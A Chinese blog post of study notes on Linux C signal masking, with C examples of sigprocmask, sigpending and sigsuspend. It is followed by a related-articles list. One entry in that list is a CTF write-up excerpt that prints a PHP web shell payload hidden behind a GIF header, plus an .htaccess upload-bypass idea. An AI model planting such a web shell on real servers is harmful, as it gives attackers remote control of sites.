《Linux C编程实战》笔记:信号的屏蔽

在《Linux C编程实战》笔记:信号的捕捉和处理-CSDN博客的sigaction的sa_mask成员,它的类型就是一个信号集,下面我们来介绍它

信号集

信号的总数目达64个,所以不能用一个整数表示它们的集合,int类型通常是4字节32位,位数不够。POSIX标准定义了数据类型sigset_t来表示信号集,并且定义了一系列函数来操作信号集

#include<signal.h>
//初始化一个信号集,使其不包括任何信号
int sigemptyset(sigset_t *set);//初始化一个信号集,使其包括所有信号
int sigfillset(sigset_t *set);//向set指定的信号集中添加由signun指定的信号
int sigaddset(sigset_t *set,int signum);//从set指定的信号集中删除由signum指定的信号
int sigdelset(sigset_t *set,int signum);//测试信号signum是否包括在set指定的信号集中
int sigismember(const sigset_t *set,int signum);

前四个函数在执行成功时返回0,失败返回-1.

sigismember返回1表示测试的信号在信号集中,返回0表示信号不在信号集中,出错返回-1.

注意:在使用信号集前,要对信号集调用一次sigemptyset或sigfillset来初始化它。

信号屏蔽

信号屏蔽又称信号阻塞

#include<signal.h>
int sigprocmask(int how,const sigset_t *set,sigset *oldset);
int sigpending(sigset_t *set);
int sigsuspend(const sigset_t *mask);

sigprocmask函数 

每一个进程都有一个信号屏蔽码,调用sigprocmask可以修改进程的信号屏蔽码。

当信号被屏蔽时,如果有一个或多个屏蔽的信号到达,它们会被挂起,直到信号解除屏蔽。信号解除屏蔽后,挂起的信号会被递送给进程,但如果信号在解除屏蔽前多次到达,不可靠信号只会递送一次,可靠信号会按次数递送。

  • how:此参数确定如何更改信号掩码。它可以取以下值之一:

    • SIG_BLOCK:将集合中的信号添加到当前信号掩码。
    • SIG_UNBLOCK:从当前信号掩码中移除集合中的信号。
    • SIG_SETMASK:将信号掩码设置为指定的集合。
  • set:这是一个指向 sigset_t 对象的指针,表示要阻塞、解除阻塞或设置的信号集,具体取决于 how 参数的值。

  • oldset:这是一个可选的指向 sigset_t 对象的指针,用于存储先前的信号掩码。如果为 NULL,则不保存先前的信号掩码。

sigprocmask 的返回值在成功时为 0,在失败时为 -1,同时设置 errno 以指示错误。

sigpending函数

函数sigpending函数用来获取调用进程因被阻塞但已经产生的未决信号集。该信号集通过参数set返回。

成功返回0,有错误发生返回-1,错误代码存入errno。

示例程序1

该程序演示了sigprocmask和sigpending的用法

#include<stdio.h>
#include<stdlib.h>
#include<signal.h>
#include<unistd.h>
//自定义的错误处理函数,这个以前都讲过
void my_err(const char *err_string,int line){fprintf(stderr,"line:%d ",line);perror(err_string);exit(1);
}
//SIGINT的信号处理函数
void handler_sigint(int signo){printf("recv SIGINT\n");
}
int main(int argc,char **argv){//定义了几个信号集sigset_t newmask,oldmask,pendmask;//安装信号处理函数if(signal(SIGINT,handler_sigint)==SIG_ERR)//安装失败的错误处理,这个SIG_ERR在signal这一节也讲过my_err("signal",__LINE__);//这里可以发送SIGINT信号测试一下,这时候是可以响应的sleep(10);sigemptyset(&newmask);//初始化newmasksigaddset(&newmask,SIGINT);//将SIGINT添加进去if(sigprocmask(SIG_BLOCK,&newmask,&oldmask)<0)//尝试将SIGINT添加到进程的屏蔽屏蔽码中去,用的是SIG_BLOCKmy_err("sigprocmask",__LINE__);else printf("SIGINT blocked\n");sleep(10);//睡一会//获取未决的信号队列,我们操作的时候应该在睡眠的时候发送一次SIGINT信号来测试if(sigpending(&pendmask)<0)my_err("sigpending",__LINE__);//用sigismember查看未决信号集里是否有SIGINTswitch (sigismember(&pendmask,SIGINT)){case 0:printf("SIGINT is not in pending queue\n");break;case 1:printf("SIGINT is in pending queue\n");break;case -1:my_err("sigismember",__LINE__);break;default:break;}//再解除对SIGINT的屏蔽,就是把原先的信号屏蔽码又设置回去if(sigprocmask(SIG_SETMASK,&oldmask,nullptr)<0)my_err("sigprocmask",__LINE__);else printf("SIGINT unblocked\n");while(1);return 0;
}

看运行结果,一开始我发送SIGINT,信号处理函数有用,然后SIGINT被阻塞了,这时候我发了四个SIGINT,根据不可靠信号的阻塞,最后只有一个信号会被递送,所以程序只打印了一次recv SIGINT,之后阻塞解除,我再发送SIGINT也可以正常接收。

sigsuspend函数

sigsuspend 函数用于临时修改信号屏蔽字(signal mask)并挂起进程,直到收到一个信号为止。

函数的作用可以分为两步:

  1. 临时替换当前信号屏蔽字为 mask
  2. 挂起进程,直到接收到一个信号。

当进程接收到一个信号后,sigsuspend 会恢复原始的信号屏蔽字,并返回。这个函数通常用于实现原子操作,即在某些关键操作期间阻塞特定的信号,以确保该操作不会被信号中断。

这个函数总是返回-1,并将errno置为EINTR

示例程序2

#include<stdio.h>
#include<stdlib.h>
#include<signal.h>
#include<unistd.h>
void my_err(const char *err_string,int line){fprintf(stderr,"line:%d ",line);perror(err_string);exit(1);
}
void handler_sigint(int signo){printf("\nrecv SIGINT\n");
}
int main(int argc,char **argv){sigset_t newmask,oldmask,zeromask;if(signal(SIGINT,handler_sigint)==SIG_ERR)my_err("signal",__LINE__);sigemptyset(&newmask);sigemptyset(&zeromask);sigaddset(&newmask,SIGINT);if(sigprocmask(SIG_BLOCK,&newmask,&oldmask)<0)my_err("sigprocmask",__LINE__);else printf("SIGINT blocked\n");//前面和上一个示例都是一样的/*临界区*///使用sigsuspend取消所有信号的屏蔽并等待信号的触发,因为zeromask是空的信号集if(sigsuspend(&zeromask)!=-1)//sigsuspend总是返回-1my_err("sigsuspend",__LINE__);else printf("recv a signo,return from sigsuspend\n");/*------------------------------//使用sigprocmask加上pause可能会出现错误if(sigprocmask(SIG_SETMASK,&oldmask,nullptr)<0)my_err("sigprocmask",__LINE__);pause();---------------------------*///下面也是一样,恢复屏蔽字if(sigprocmask(SIG_SETMASK,&oldmask,nullptr)<0)my_err("sigprocmask",__LINE__);else printf("SIGINT unblocked\n");while(1);return 0;
}

程序首先用sigprocmask屏蔽掉信号SIGINT,然后使用sigsuspend()取消对所有信号的屏蔽,并挂起等待信号的触发。

然后随便发送一个信号

这是按书上的步骤,不过我觉得问题很大,书上随便发了个SIGRTMIN的信号,但是由于我们没有给这个信号注册信号处理函数,所以进程默认直接结束了。这句话也没有执行 :  else printf("recv a signo,return from sigsuspend\n");

这回我们发SIGINT信号

虽然进程一开始屏蔽了SIGINT信号,但是我们调用了sigsuspend函数,并且这个例子里的sigsuspend函数的信号集是空的,它会取消对所有信号的屏蔽,然后挂起,所以我们发送SIGINT进程这时是可以接收的。可以看到进程首先调用了SIGINT的处理函数,之后sigsuspend函数返回-1(函数返回前会把屏蔽字恢复成原来的情况,也就是SIGINT被阻塞),执行了之前没有执行的打印语句。

如果使用注释掉的那段代码,会有风险。如果信号发生在sigprocmask之后pause之前,则这个信号可能就会丢失了,如果信号只发生一次,程序将永远挂起在pause上。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/648873.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux | makefile简单教程 | Makefile的工作原理

前言 在学习完了Linux的基本操作之后&#xff0c;我们知道在linux中编写代码&#xff0c;编译代码都是要手动gcc命令&#xff0c;来执行这串代码的。 但是我们难道在以后运行代码的时候&#xff0c;难道都要自己敲gcc命令嘛&#xff1f;这是不是有点太烦了&#xff1f; 在vs中…

力扣646. 最长数对链

动态规划 思路&#xff1a; 思路与 力扣354. 俄罗斯套娃信封问题 类似将序列进行排序&#xff0c;然后假设 dp[i] 为第 i 个元素的最长数对链个数&#xff1b;则其状态转移方程&#xff1a; 第 i 个元素之前的某一个元素&#xff08;假设是下标是 j&#xff09;&#xff0c;如…

KVM部署Alibaba Cloud Linux操作系统

下载镜像文件 下载链接&#xff1a;https://mirrors.aliyun.com/alinux/image/?spma2c4g.11186623.0.0.79ed5af6pehv54 下载文件&#xff1a;aliyun_3_x64_20G_nocloud_alibase_20230727.qcow2 部署KVM虚拟化环境 yum -y install qemu libvirt rr-testsuite systemctl star…

[SUCTF 2019]CheckIn1

黑名单过滤后缀’ph&#xff0c;并且白名单image类型要有对应文件头 对<?过滤&#xff0c;改用GIF89a<script languagephp>eval($_POST[cmd]);</script>&#xff0c;成功把getshell.gif上传上去了 尝试用.htaccess将上传的gif当作php解析&#xff0c;但是失败…

美工前端和数据对接一起做的可视化大屏开发项目工期一周足矣

hello宝子们...我们是艾斯视觉擅长ui设计和前端开发10年经验&#xff01;希望我的分享能帮助到您&#xff01;如需帮助可以评论关注私信我们一起探讨&#xff01;致敬感谢感恩&#xff01; 可视化大屏已经成为企业和组织中不可或缺的一部分。它不仅可以帮助企业更好地展示业务数…

[docker] Docker的私有仓库部署——Harbor

一、Docker原生私有仓库—— Registry 1.1 Registry的简单了解 关于Docker的仓库分为私有库和公有仓库&#xff0c;共有仓库只要在官方注册用户&#xff0c;登录即可使用。但对于仓库的使用&#xff0c;企业还是会有自己的专属镜像&#xff0c;所以私有库的搭建也是很有必要的…

jQuery实现选择方法和保护信息方法

最近呢&#xff01;一直在学习jQuery语法&#xff0c;也没时间发布文章&#xff0c;现在学的差不多了&#xff0c;先跟大家分享下学习感受吧&#xff01;JavaScript学过后&#xff0c;再学习jQuery语法&#xff0c;应该是简单的&#xff0c;但我总是容易把它们搞混&#xff0c;…

开源模型部署及使用

开源模型部署及使用 1.Langchain-Chatchat1.环境2.运行3.效果 2.facefusion1.环境2.运行3.效果 3.Aquila1.环境2.运行 1.Langchain-Chatchat Langchain-Chatchat这里面可以调用许多模型&#xff0c;我本地下载了chatglm3模型文件&#xff0c;所以就用这个模型。 1.环境 根据…

牛客网---------[USACO 2016 Jan S]Angry Cows

题目描述 Bessie the cow has designed what she thinks will be the next big hit video game: "Angry Cows". The premise, which she believes is completely original, is that the player shoots cows with a slingshot into a one-dimensional scene consistin…

实现负载均衡

1.安装依赖 sudo apt insta11 libgd-dev 2.下载nginx wget http://nginx.org/download/nginx-1.22.1.tar.gz 3.解压nginx tar -zvxf nginx-1.22.1.tar.g2 4.编译安装 cd nginx-1.22.1 5.编译并指定安装位置&#xff0c;执行安装之后会创建指定文件夹/www/env/nginx ./configure…

【大数据】流处理基础概念(二):时间语义(处理时间、事件时间、水位线)

流处理基础概念&#xff08;一&#xff09;&#xff1a;Dataflow 编程基础、并行流处理流处理基础概念&#xff08;二&#xff09;&#xff1a;时间语义&#xff08;处理时间、事件时间、水位线&#xff09;流处理基础概念&#xff08;三&#xff09;&#xff1a;状态和一致性模…

使用pysimplegui+opencv编写一个摄像头的播放器

需求 使用pysimplegui和opencv实现一个播放器&#xff0c;播放 摄像头的画面。 代码实现 import cv2 import time from typing import Iterable, NamedTuple, Optionalimport PySimpleGUI as sgclass CameraSpec(NamedTuple):name: strindex: intwidth: intheight: intfps: i…

c# ADODB.Recordset实例调用Fields报错

代码&#xff1a; using System; using System.CodeDom; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using ADODB;namespace ConsoleApp1 {internal class Programre{static ADODB.Recordset recordsetInstance…

代码随想录刷题笔记 DAY15 | 翻转二叉树 No.226 | 对称二叉树 No.101

Day 15 01. 翻转二叉树&#xff08;No. 226&#xff09; 题目链接 代码随想录题解 1.1 题目 给你一棵二叉树的根节点 root &#xff0c;翻转这棵二叉树&#xff0c;并返回其根节点。 示例 1&#xff1a; 输入&#xff1a;root [4,2,7,1,3,6,9] 输出&#xff1a;[4,7,2,9…

Odoo14 中的小部件列表

们有不同类型的小部件用于不同的目的&#xff0c;帮助我们简化操作。小部件用于使代码变得简单且用户友好&#xff0c;这将有助于软件的编码和编程方面。在 Odoo 14 开发中&#xff0c;我们可以利用不同的小部件&#xff0c;这些小部件可用于编程操作的某些特定方面。这些简化工…

Oracle Linux 9.3 安装图解

风险告知 本人及本篇博文不为任何人及任何行为的任何风险承担责任&#xff0c;图解仅供参考&#xff0c;请悉知&#xff01;本次安装图解是在一个全新的演示环境下进行的&#xff0c;演示环境中没有任何有价值的数据&#xff0c;但这并不代表摆在你面前的环境也是如此。生产环境…

微信小程序元素/文字在横向和纵向实现居中对齐、两端对齐、左右对齐、上下对齐

元素对齐往往是新学者的一大困惑点&#xff0c;在此总结常用的各种元素和文字对齐方式以供参考&#xff1a; 初始显示 .wxml <view style"width: 100%;height: 500rpx; background-color: lightgray;"><view style"width: 200rpx;height:100rpx;bac…

2023年NOC大赛(学而思赛道)创意编程Python初中组决赛真题

2023年NOC大赛&#xff08;学而思赛道&#xff09;创意编程Python初中组决赛真题 题目总数&#xff1a;7 总分数&#xff1a;100 编程题 第 1 题 问答题 二进制回文 编程实现: 输入一个正整数&#xff0c;判断它的二进制形式是否是回文数&#xff0c;如果是输出True…

MySQL建表练习

练习题目&#xff1a;通过所提供的E-R图和数据库模型图完成库表的创建&#xff0c;并插入适量的数据.要求必须使用SQL命令进行构建。 已知如下&#xff1a; 1、创建客户信息表&#xff1a; 代码&#xff1a; CREATE DATABASE Bank; //建库CREATE TABLE Userinfo(Cust…

MacBook自带邮箱设置

MacBook自带邮箱设置 邮件—->偏好设置 服务器设置 收件服务器(POP) 用户名: xxxxxxliang 密码: ***** 主机名:mail.xxx.com.cn 自动管理连接设置 勾上 发件服务器(SMTP) 帐户:xxx.com.cn 用户名:xxxxxxliang 密码:**** 主机名:mail.xxx.com.cn 注意: 自动管理连接设置 不…